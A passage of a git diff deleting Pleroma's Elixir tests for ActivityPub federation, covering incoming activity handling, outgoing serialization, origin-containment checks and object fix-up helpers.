user.ap_id <> "/activities/12345678") - - data = Map.put(data, "object", object) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert !is_nil(data["to"]) - assert !is_nil(data["cc"]) - end - - test "it strips internal likes" do - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - - likes = %{ - "first" => - "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes?page=1", - "id" => "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes", - "totalItems" => 3, - "type" => "OrderedCollection" - } - - object = Map.put(data["object"], "likes", likes) - data = Map.put(data, "object", object) - - {:ok, %Activity{object: object}} = Transmogrifier.handle_incoming(data) - - refute Map.has_key?(object.data, "likes") - end - - test "it strips internal reactions" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - {:ok, _} = CommonAPI.react_with_emoji(activity.id, user, "📢") - - %{object: object} = Activity.get_by_id_with_object(activity.id) - assert Map.has_key?(object.data, "reactions") - assert Map.has_key?(object.data, "reaction_count") - - object_data = Transmogrifier.strip_internal_fields(object.data) - refute Map.has_key?(object_data, "reactions") - refute Map.has_key?(object_data, "reaction_count") - end - - test "it works for incoming unfollows with an existing follow" do - user = insert(:user) - - follow_data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - {:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(follow_data) - - data = - File.read!("test/fixtures/mastodon-unfollow-activity.json") - |> Poison.decode!() - |> Map.put("object", follow_data) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["type"] == "Undo" - assert data["object"]["type"] == "Follow" - assert data["object"]["object"] == user.ap_id - assert data["actor"] == "http://mastodon.example.org/users/admin" - - refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) - end - - test "it accepts Flag activities" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - object = Object.normalize(activity) - - note_obj = %{ - "type" => "Note", - "id" => activity.data["id"], - "content" => "test post", - "published" => object.data["published"], - "actor" => AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - } - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "cc" => [user.ap_id], - "object" => [user.ap_id, activity.data["id"]], - "type" => "Flag", - "content" => "blocked AND reported!!!", - "actor" => other_user.ap_id - } - - assert {:ok, activity} = Transmogrifier.handle_incoming(message) - - assert activity.data["object"] == [user.ap_id, note_obj] - assert activity.data["content"] == "blocked AND reported!!!" - assert activity.data["actor"] == other_user.ap_id - assert activity.data["cc"] == [user.ap_id] - end - - test "it correctly processes messages with non-array to field" do - user = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => "https://www.w3.org/ns/activitystreams#Public", - "type" => "Create", - "object" => %{ - "content" => "blah blah blah", - "type" => "Note", - "attributedTo" => user.ap_id, - "inReplyTo" => nil - }, - "actor" => user.ap_id - } - - assert {:ok, activity} = Transmogrifier.handle_incoming(message) - - assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["to"] - end - - test "it correctly processes messages with non-array cc field" do - user = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => user.follower_address, - "cc" => "https://www.w3.org/ns/activitystreams#Public", - "type" => "Create", - "object" => %{ - "content" => "blah blah blah", - "type" => "Note", - "attributedTo" => user.ap_id, - "inReplyTo" => nil - }, - "actor" => user.ap_id - } - - assert {:ok, activity} = Transmogrifier.handle_incoming(message) - - assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["cc"] - assert [user.follower_address] == activity.data["to"] - end - - test "it correctly processes messages with weirdness in address fields" do - user = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => [nil, user.follower_address], - "cc" => ["https://www.w3.org/ns/activitystreams#Public", ["¿"]], - "type" => "Create", - "object" => %{ - "content" => "…", - "type" => "Note", - "attributedTo" => user.ap_id, - "inReplyTo" => nil - }, - "actor" => user.ap_id - } - - assert {:ok, activity} = Transmogrifier.handle_incoming(message) - - assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["cc"] - assert [user.follower_address] == activity.data["to"] - end - - test "it accepts Move activities" do - old_user = insert(:user) - new_user = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Move", - "actor" => old_user.ap_id, - "object" => old_user.ap_id, - "target" => new_user.ap_id - } - - assert :error = Transmogrifier.handle_incoming(message) - - {:ok, _new_user} = User.update_and_set_cache(new_user, %{also_known_as: [old_user.ap_id]}) - - assert {:ok, %Activity{} = activity} = Transmogrifier.handle_incoming(message) - assert activity.actor == old_user.ap_id - assert activity.data["actor"] == old_user.ap_id - assert activity.data["object"] == old_user.ap_id - assert activity.data["target"] == new_user.ap_id - assert activity.data["type"] == "Move" - end - end - - describe "`handle_incoming/2`, Mastodon format `replies` handling" do - setup do: clear_config([:activitypub, :note_replies_output_limit], 5) - setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) - - setup do - data = - "test/fixtures/mastodon-post-activity.json" - |> File.read!() - |> Poison.decode!() - - items = get_in(data, ["object", "replies", "first", "items"]) - assert length(items) > 0 - - %{data: data, items: items} - end - - test "schedules background fetching of `replies` items if max thread depth limit allows", %{ - data: data, - items: items - } do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 10) - - {:ok, _activity} = Transmogrifier.handle_incoming(data) - - for id <- items do - job_args = %{"op" => "fetch_remote", "id" => id, "depth" => 1} - assert_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker, args: job_args) - end - end - - test "does NOT schedule background fetching of `replies` beyond max thread depth limit allows", - %{data: data} do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) - - {:ok, _activity} = Transmogrifier.handle_incoming(data) - - assert all_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker) == [] - end - end - - describe "`handle_incoming/2`, Pleroma format `replies` handling" do - setup do: clear_config([:activitypub, :note_replies_output_limit], 5) - setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) - - setup do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "post1"}) - - {:ok, reply1} = - CommonAPI.post(user, %{status: "reply1", in_reply_to_status_id: activity.id}) - - {:ok, reply2} = - CommonAPI.post(user, %{status: "reply2", in_reply_to_status_id: activity.id}) - - replies_uris = Enum.map([reply1, reply2], fn a -> a.object.data["id"] end) - - {:ok, federation_output} = Transmogrifier.prepare_outgoing(activity.data) - - Repo.delete(activity.object) - Repo.delete(activity) - - %{federation_output: federation_output, replies_uris: replies_uris} - end - - test "schedules background fetching of `replies` items if max thread depth limit allows", %{ - federation_output: federation_output, - replies_uris: replies_uris - } do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 1) - - {:ok, _activity} = Transmogrifier.handle_incoming(federation_output) - - for id <- replies_uris do - job_args = %{"op" => "fetch_remote", "id" => id, "depth" => 1} - assert_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker, args: job_args) - end - end - - test "does NOT schedule background fetching of `replies` beyond max thread depth limit allows", - %{federation_output: federation_output} do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) - - {:ok, _activity} = Transmogrifier.handle_incoming(federation_output) - - assert all_enqueued(worker: Pleroma.Workers.RemoteFetcherWorker) == [] - end - end - - describe "prepare outgoing" do - test "it inlines private announced objects" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey", visibility: "private"}) - - {:ok, announce_activity} = CommonAPI.repeat(activity.id, user) - - {:ok, modified} = Transmogrifier.prepare_outgoing(announce_activity.data) - - assert modified["object"]["content"] == "hey" - assert modified["object"]["actor"] == modified["object"]["attributedTo"] - end - - test "it turns mentions into tags" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{status: "hey, @#{other_user.nickname}, how are ya? #2hu"}) - - with_mock Pleroma.Notification, - get_notified_from_activity: fn _, _ -> [] end do - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - object = modified["object"] - - expected_mention = %{ - "href" => other_user.ap_id, - "name" => "@#{other_user.nickname}", - "type" => "Mention" - } - - expected_tag = %{ - "href" => Pleroma.Web.Endpoint.url() <> "/tags/2hu", - "type" => "Hashtag", - "name" => "#2hu" - } - - refute called(Pleroma.Notification.get_notified_from_activity(:_, :_)) - assert Enum.member?(object["tag"], expected_tag) - assert Enum.member?(object["tag"], expected_mention) - end - end - - test "it adds the sensitive property" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#nsfw hey"}) - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["object"]["sensitive"] - end - - test "it adds the json-ld context and the conversation property" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["@context"] == - Pleroma.Web.ActivityPub.Utils.make_json_ld_header()["@context"] - - assert modified["object"]["conversation"] == modified["context"] - end - - test "it sets the 'attributedTo' property to the actor of the object if it doesn't have one" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["object"]["actor"] == modified["object"]["attributedTo"] - end - - test "it strips internal hashtag data" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#2hu"}) - - expected_tag = %{ - "href" => Pleroma.Web.Endpoint.url() <> "/tags/2hu", - "type" => "Hashtag", - "name" => "#2hu" - } - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["object"]["tag"] == [expected_tag] - end - - test "it strips internal fields" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#2hu :firefox:"}) - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert length(modified["object"]["tag"]) == 2 - - assert is_nil(modified["object"]["emoji"]) - assert is_nil(modified["object"]["like_count"]) - assert is_nil(modified["object"]["announcements"]) - assert is_nil(modified["object"]["announcement_count"]) - assert is_nil(modified["object"]["context_id"]) - end - - test "it strips internal fields of article" do - activity = insert(:article_activity) - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert length(modified["object"]["tag"]) == 2 - - assert is_nil(modified["object"]["emoji"]) - assert is_nil(modified["object"]["like_count"]) - assert is_nil(modified["object"]["announcements"]) - assert is_nil(modified["object"]["announcement_count"]) - assert is_nil(modified["object"]["context_id"]) - assert is_nil(modified["object"]["likes"]) - end - - test "the directMessage flag is present" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "2hu :moominmamma:"}) - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["directMessage"] == false - - {:ok, activity} = CommonAPI.post(user, %{status: "@#{other_user.nickname} :moominmamma:"}) - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["directMessage"] == false - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "@#{other_user.nickname} :moominmamma:", - visibility: "direct" - }) - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert modified["directMessage"] == true - end - - test "it strips BCC field" do - user = insert(:user) - {:ok, list} = Pleroma.List.create("foo", user) - - {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) - - {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) - - assert is_nil(modified["bcc"]) - end - - test "it can handle Listen activities" do - listen_activity = insert(:listen) - - {:ok, modified} = Transmogrifier.prepare_outgoing(listen_activity.data) - - assert modified["type"] == "Listen" - - user = insert(:user) - - {:ok, activity} = CommonAPI.listen(user, %{"title" => "lain radio episode 1"}) - - {:ok, _modified} = Transmogrifier.prepare_outgoing(activity.data) - end - end - - describe "user upgrade" do - test "it upgrades a user to activitypub" do - user = - insert(:user, %{ - nickname: "rye@niu.moe", - local: false, - ap_id: "https://niu.moe/users/rye", - follower_address: User.ap_followers(%User{nickname: "rye@niu.moe"}) - }) - - user_two = insert(:user) - Pleroma.FollowingRelationship.follow(user_two, user, :follow_accept) - - {:ok, activity} = CommonAPI.post(user, %{status: "test"}) - {:ok, unrelated_activity} = CommonAPI.post(user_two, %{status: "test"}) - assert "http://localhost:4001/users/rye@niu.moe/followers" in activity.recipients - - user = User.get_cached_by_id(user.id) - assert user.note_count == 1 - - {:ok, user} = Transmogrifier.upgrade_user_from_ap_id("https://niu.moe/users/rye") - ObanHelpers.perform_all() - - assert user.ap_enabled - assert user.note_count == 1 - assert user.follower_address == "https://niu.moe/users/rye/followers" - assert user.following_address == "https://niu.moe/users/rye/following" - - user = User.get_cached_by_id(user.id) - assert user.note_count == 1 - - activity = Activity.get_by_id(activity.id) - assert user.follower_address in activity.recipients - - assert %{ - "url" => [ - %{ - "href" => - "https://cdn.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg" - } - ] - } = user.avatar - - assert %{ - "url" => [ - %{ - "href" => - "https://cdn.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png" - } - ] - } = user.banner - - refute "..." in activity.recipients - - unrelated_activity = Activity.get_by_id(unrelated_activity.id) - refute user.follower_address in unrelated_activity.recipients - - user_two = User.get_cached_by_id(user_two.id) - assert User.following?(user_two, user) - refute "..." in User.following(user_two) - end - end - - describe "actor rewriting" do - test "it fixes the actor URL property to be a proper URI" do - data = %{ - "url" => %{"href" => "http://example.com"} - } - - rewritten = Transmogrifier.maybe_fix_user_object(data) - assert rewritten["url"] == "http://example.com" - end - end - - describe "actor origin containment" do - test "it rejects activities which reference objects with bogus origins" do - data = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://mastodon.example.org/users/admin/activities/1234", - "actor" => "http://mastodon.example.org/users/admin", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => "https://info.pleroma.site/activity.json", - "type" => "Announce" - } - - assert capture_log(fn -> - {:error, _} = Transmogrifier.handle_incoming(data) - end) =~ "Object containment failed" - end - - test "it rejects activities which reference objects that have an incorrect attribution (variant 1)" do - data = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://mastodon.example.org/users/admin/activities/1234", - "actor" => "http://mastodon.example.org/users/admin", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => "https://info.pleroma.site/activity2.json", - "type" => "Announce" - } - - assert capture_log(fn -> - {:error, _} = Transmogrifier.handle_incoming(data) - end) =~ "Object containment failed" - end - - test "it rejects activities which reference objects that have an incorrect attribution (variant 2)" do - data = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => "http://mastodon.example.org/users/admin/activities/1234", - "actor" => "http://mastodon.example.org/users/admin", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => "https://info.pleroma.site/activity3.json", - "type" => "Announce" - } - - assert capture_log(fn -> - {:error, _} = Transmogrifier.handle_incoming(data) - end) =~ "Object containment failed" - end - end - - describe "reserialization" do - test "successfully reserializes a message with inReplyTo == nil" do - user = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [], - "type" => "Create", - "object" => %{ - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [], - "type" => "Note", - "content" => "Hi", - "inReplyTo" => nil, - "attributedTo" => user.ap_id - }, - "actor" => user.ap_id - } - - {:ok, activity} = Transmogrifier.handle_incoming(message) - - {:ok, _} = Transmogrifier.prepare_outgoing(activity.data) - end - - test "successfully reserializes a message with AS2 objects in IR" do - user = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [], - "type" => "Create", - "object" => %{ - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [], - "type" => "Note", - "content" => "Hi", - "inReplyTo" => nil, - "attributedTo" => user.ap_id, - "tag" => [ - %{"name" => "#2hu", "href" => "http://example.com/2hu", "type" => "Hashtag"}, - %{"name" => "Bob", "href" => "http://example.com/bob", "type" => "Mention"} - ] - }, - "actor" => user.ap_id - } - - {:ok, activity} = Transmogrifier.handle_incoming(message) - - {:ok, _} = Transmogrifier.prepare_outgoing(activity.data) - end - end - - describe "fix_explicit_addressing" do - setup do - user = insert(:user) - [user: user] - end - - test "moves non-explicitly mentioned actors to cc", %{user: user} do - explicitly_mentioned_actors = [ - "https://pleroma.gold/users/user1", - "https://pleroma.gold/user2" - ] - - object = %{ - "actor" => user.ap_id, - "to" => explicitly_mentioned_actors ++ ["https://social.beepboop.ga/users/dirb"], - "cc" => [], - "tag" => - Enum.map(explicitly_mentioned_actors, fn href -> - %{"type" => "Mention", "href" => href} - end) - } - - fixed_object = Transmogrifier.fix_explicit_addressing(object) - assert Enum.all?(explicitly_mentioned_actors, &(&1 in fixed_object["to"])) - refute "https://social.beepboop.ga/users/dirb" in fixed_object["to"] - assert "https://social.beepboop.ga/users/dirb" in fixed_object["cc"] - end - - test "does not move actor's follower collection to cc", %{user: user} do - object = %{ - "actor" => user.ap_id, - "to" => [user.follower_address], - "cc" => [] - } - - fixed_object = Transmogrifier.fix_explicit_addressing(object) - assert user.follower_address in fixed_object["to"] - refute user.follower_address in fixed_object["cc"] - end - - test "removes recipient's follower collection from cc", %{user: user} do - recipient = insert(:user) - - object = %{ - "actor" => user.ap_id, - "to" => [recipient.ap_id, "https://www.w3.org/ns/activitystreams#Public"], - "cc" => [user.follower_address, recipient.follower_address] - } - - fixed_object = Transmogrifier.fix_explicit_addressing(object) - - assert user.follower_address in fixed_object["cc"] - refute recipient.follower_address in fixed_object["cc"] - refute recipient.follower_address in fixed_object["to"] - end - end - - describe "fix_summary/1" do - test "returns fixed object" do - assert Transmogrifier.fix_summary(%{"summary" => nil}) == %{"summary" => ""} - assert Transmogrifier.fix_summary(%{"summary" => "ok"}) == %{"summary" => "ok"} - assert Transmogrifier.fix_summary(%{}) == %{"summary" => ""} - end - end - - describe "fix_in_reply_to/2" do - setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) - - setup do - data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) - [data: data] - end - - test "returns not modified object when hasn't containts inReplyTo field", %{data: data} do - assert Transmogrifier.fix_in_reply_to(data) == data - end - - test "returns object with inReplyTo when denied incoming reply", %{data: data} do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) - - object_with_reply = - Map.put(data["object"], "inReplyTo", "https://shitposter.club/notice/2827873") - - modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) - assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873" - - object_with_reply = - Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"}) - - modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) - assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"} - - object_with_reply = - Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"]) - - modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) - assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"] - - object_with_reply = Map.put(data["object"], "inReplyTo", []) - modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) - assert modified_object["inReplyTo"] == [] - end - - @tag capture_log: true - test "returns modified object when allowed incoming reply", %{data: data} do - object_with_reply = - Map.put( - data["object"], - "inReplyTo", - "https://mstdn.io/users/mayuutann/statuses/99568293732299394" - ) - - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 5) - modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) - - assert modified_object["inReplyTo"] == - "https://mstdn.io/users/mayuutann/statuses/99568293732299394" - - assert modified_object["context"] == - "tag:shitposter.club,2018-02-22:objectType=thread:nonce=e5a7c72d60a9c0e4" - end - end - - describe "fix_url/1" do - test "fixes data for object when url is map" do - object = %{ - "url" => %{ - "type" => "Link", - "mimeType" => "video/mp4", - "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" - } - } - - assert Transmogrifier.fix_url(object) == %{ - "url" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" - } - end - - test "returns non-modified object" do - assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"} - end - end - - describe "get_obj_helper/2" do - test "returns nil when cannot normalize object" do - assert capture_log(fn -> - refute Transmogrifier.get_obj_helper("test-obj-id") - end) =~ "Unsupported URI scheme" - end - - @tag capture_log: true - test "returns {:ok, %Object{}} for success case" do - assert {:ok, %Object{}} = - Transmogrifier.get_obj_helper( - "https://mstdn.io/users/mayuutann/statuses/99568293732299394" - ) - end - end - - describe "fix_attachments/1" do - test "returns not modified object" do - data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) - assert Transmogrifier.fix_attachments(data) == data - end - - test "returns modified object when attachment is map" do - assert Transmogrifier.fix_attachments(%{ - "attachment" => %{ - "mediaType" => "video/mp4", - "url" => "https://peertube.moe/stat-480.mp4" - } - }) == %{ - "attachment" => [ - %{ - "mediaType" => "video/mp4", - "type" => "Document", - "url" => [ - %{ - "href" => "https://peertube.moe/stat-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ] - } - end - - test "returns modified object when attachment is list" do - assert Transmogrifier.fix_attachments(%{ - "attachment" => [ - %{"mediaType" => "video/mp4", "url" => "https://pe.er/stat-480.mp4"}, - %{"mimeType" => "video/mp4", "href" => "https://pe.er/stat-480.mp4"} - ] - }) == %{ - "attachment" => [ - %{ - "mediaType" => "video/mp4", - "type" => "Document", - "url" => [ - %{ - "href" => "https://pe.er/stat-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - }, - %{ - "mediaType" => "video/mp4", - "type" => "Document", - "url" => [ - %{ - "href" => "https://pe.er/stat-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ] - } - end - end - - describe "fix_emoji/1" do - test "returns not modified object when object not contains tags" do - data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) - assert Transmogrifier.fix_emoji(data) == data - end - - test "returns object with emoji when object contains list tags" do - assert Transmogrifier.fix_emoji(%{ - "tag" => [ - %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}}, - %{"type" => "Hashtag"} - ] - }) == %{ - "emoji" => %{"bib" => "/test"}, - "tag" => [ - %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"}, - %{"type" => "Hashtag"} - ] - } - end - - test "returns object with emoji when object contains map tag" do - assert Transmogrifier.fix_emoji(%{ - "tag" => %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}} - }) == %{ - "emoji" => %{"bib" => "/test"}, - "tag" => %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"} - } - end - end - - describe "set_replies/1" do - setup do: clear_config([:activitypub, :note_replies_output_limit], 2) - - test "returns unmodified object if activity doesn't have self-replies" do - data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) - assert Transmogrifier.set_replies(data) == data - end - - test "sets `replies` collection with a limited number of self-replies" do - [user, another_user] = insert_list(2, :user) - - {:ok, %{id: id1} = activity} = CommonAPI.post(user, %{status: "1"}) - - {:ok, %{id: id2} = self_reply1} = - CommonAPI.post(user, %{status: "self-reply 1", in_reply_to_status_id: id1}) - - {:ok, self_reply2} = - CommonAPI.post(user, %{status: "self-reply 2", in_reply_to_status_id: id1}) - - # Assuming to _not_ be present in `replies` due to :note_replies_output_limit is set to 2 - {:ok, _} = CommonAPI.post(user, %{status: "self-reply 3", in_reply_to_status_id: id1}) - - {:ok, _} = - CommonAPI.post(user, %{ - status: "self-reply to self-reply", - in_reply_to_status_id: id2 - }) - - {:ok, _} = - CommonAPI.post(another_user, %{ - status: "another user's reply", - in_reply_to_status_id: id1 - }) - - object = Object.normalize(activity) - replies_uris = Enum.map([self_reply1, self_reply2], fn a -> a.object.data["id"] end) - - assert %{"type" => "Collection", "items" => ^replies_uris} = - Transmogrifier.set_replies(object.data)["replies"] - end - end - - test "take_emoji_tags/1" do - user = insert(:user, %{emoji: %{"firefox" => "https://example.org/firefox.png"}}) - - assert Transmogrifier.take_emoji_tags(user) == [ - %{ - "icon" => %{"type" => "Image", "url" => "https://example.org/firefox.png"}, - "id" => "https://example.org/firefox.png", - "name" => ":firefox:", - "type" => "Emoji", - "updated" => "1970-01-01T00:00:00Z" - } - ] - end -end diff --git a/test/web/activity_pub/utils_test.exs b/test/web/activity_pub/utils_test.exs deleted file mode 100644 index d50213545..000000000 --- a/test/web/activity_pub/utils_test.exs +++ /dev/null @@ -1,548 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.UtilsTest do - use Pleroma.DataCase - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Utils - alias Pleroma.Web.AdminAPI.AccountView - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - require Pleroma.Constants - - describe "fetch the latest Follow" do - test "fetches the latest Follow activity" do - %Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity) - follower = User.get_cached_by_ap_id(activity.data["actor"]) - followed = User.get_cached_by_ap_id(activity.data["object"]) - - assert activity == Utils.fetch_latest_follow(follower, followed) - end - end - - describe "determine_explicit_mentions()" do - test "works with an object that has mentions" do - object = %{ - "tag" => [ - %{ - "type" => "Mention", - "href" => "https://example.com/~alyssa", - "name" => "Alyssa P. Hacker" - } - ] - } - - assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"] - end - - test "works with an object that does not have mentions" do - object = %{ - "tag" => [ - %{"type" => "Hashtag", "href" => "https://example.com/tag/2hu", "name" => "2hu"} - ] - } - - assert Utils.determine_explicit_mentions(object) == [] - end - - test "works with an object that has mentions and other tags" do - object = %{ - "tag" => [ - %{ - "type" => "Mention", - "href" => "https://example.com/~alyssa", - "name" => "Alyssa P. Hacker" - }, - %{"type" => "Hashtag", "href" => "https://example.com/tag/2hu", "name" => "2hu"} - ] - } - - assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"] - end - - test "works with an object that has no tags" do - object = %{} - - assert Utils.determine_explicit_mentions(object) == [] - end - - test "works with an object that has only IR tags" do - object = %{"tag" => ["2hu"]} - - assert Utils.determine_explicit_mentions(object) == [] - end - - test "works with an object has tags as map" do - object = %{ - "tag" => %{ - "type" => "Mention", - "href" => "https://example.com/~alyssa", - "name" => "Alyssa P. Hacker" - } - } - - assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"] - end - end - - describe "make_like_data" do - setup do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - [user: user, other_user: other_user, third_user: third_user] - end - - test "addresses actor's follower address if the activity is public", %{ - user: user, - other_user: other_user, - third_user: third_user - } do - expected_to = Enum.sort([user.ap_id, other_user.follower_address]) - expected_cc = Enum.sort(["https://www.w3.org/ns/activitystreams#Public", third_user.ap_id]) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "hey @#{other_user.nickname}, @#{third_user.nickname} how about beering together this weekend?" - }) - - %{"to" => to, "cc" => cc} = Utils.make_like_data(other_user, activity, nil) - assert Enum.sort(to) == expected_to - assert Enum.sort(cc) == expected_cc - end - - test "does not adress actor's follower address if the activity is not public", %{ - user: user, - other_user: other_user, - third_user: third_user - } do - expected_to = Enum.sort([user.ap_id]) - expected_cc = [third_user.ap_id] - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "@#{other_user.nickname} @#{third_user.nickname} bought a new swimsuit!", - visibility: "private" - }) - - %{"to" => to, "cc" => cc} = Utils.make_like_data(other_user, activity, nil) - assert Enum.sort(to) == expected_to - assert Enum.sort(cc) == expected_cc - end - end - - test "make_json_ld_header/0" do - assert Utils.make_json_ld_header() == %{ - "@context" => [ - "https://www.w3.org/ns/activitystreams", - "http://localhost:4001/schemas/litepub-0.1.jsonld", - %{ - "@language" => "und" - } - ] - } - end - - describe "get_existing_votes" do - test "fetches existing votes" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "How do I pronounce LaTeX?", - poll: %{ - options: ["laytekh", "lahtekh", "latex"], - expires_in: 20, - multiple: true - } - }) - - object = Object.normalize(activity) - {:ok, votes, object} = CommonAPI.vote(other_user, object, [0, 1]) - assert Enum.sort(Utils.get_existing_votes(other_user.ap_id, object)) == Enum.sort(votes) - end - - test "fetches only Create activities" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Are we living in a society?", - poll: %{ - options: ["yes", "no"], - expires_in: 20 - } - }) - - object = Object.normalize(activity) - {:ok, [vote], object} = CommonAPI.vote(other_user, object, [0]) - {:ok, _activity} = CommonAPI.favorite(user, activity.id) - [fetched_vote] = Utils.get_existing_votes(other_user.ap_id, object) - assert fetched_vote.id == vote.id - end - end - - describe "update_follow_state_for_all/2" do - test "updates the state of all Follow activities with the same actor and object" do - user = insert(:user, locked: true) - follower = insert(:user) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) - {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) - - data = - follow_activity_two.data - |> Map.put("state", "accept") - - cng = Ecto.Changeset.change(follow_activity_two, data: data) - - {:ok, follow_activity_two} = Repo.update(cng) - - {:ok, follow_activity_two} = - 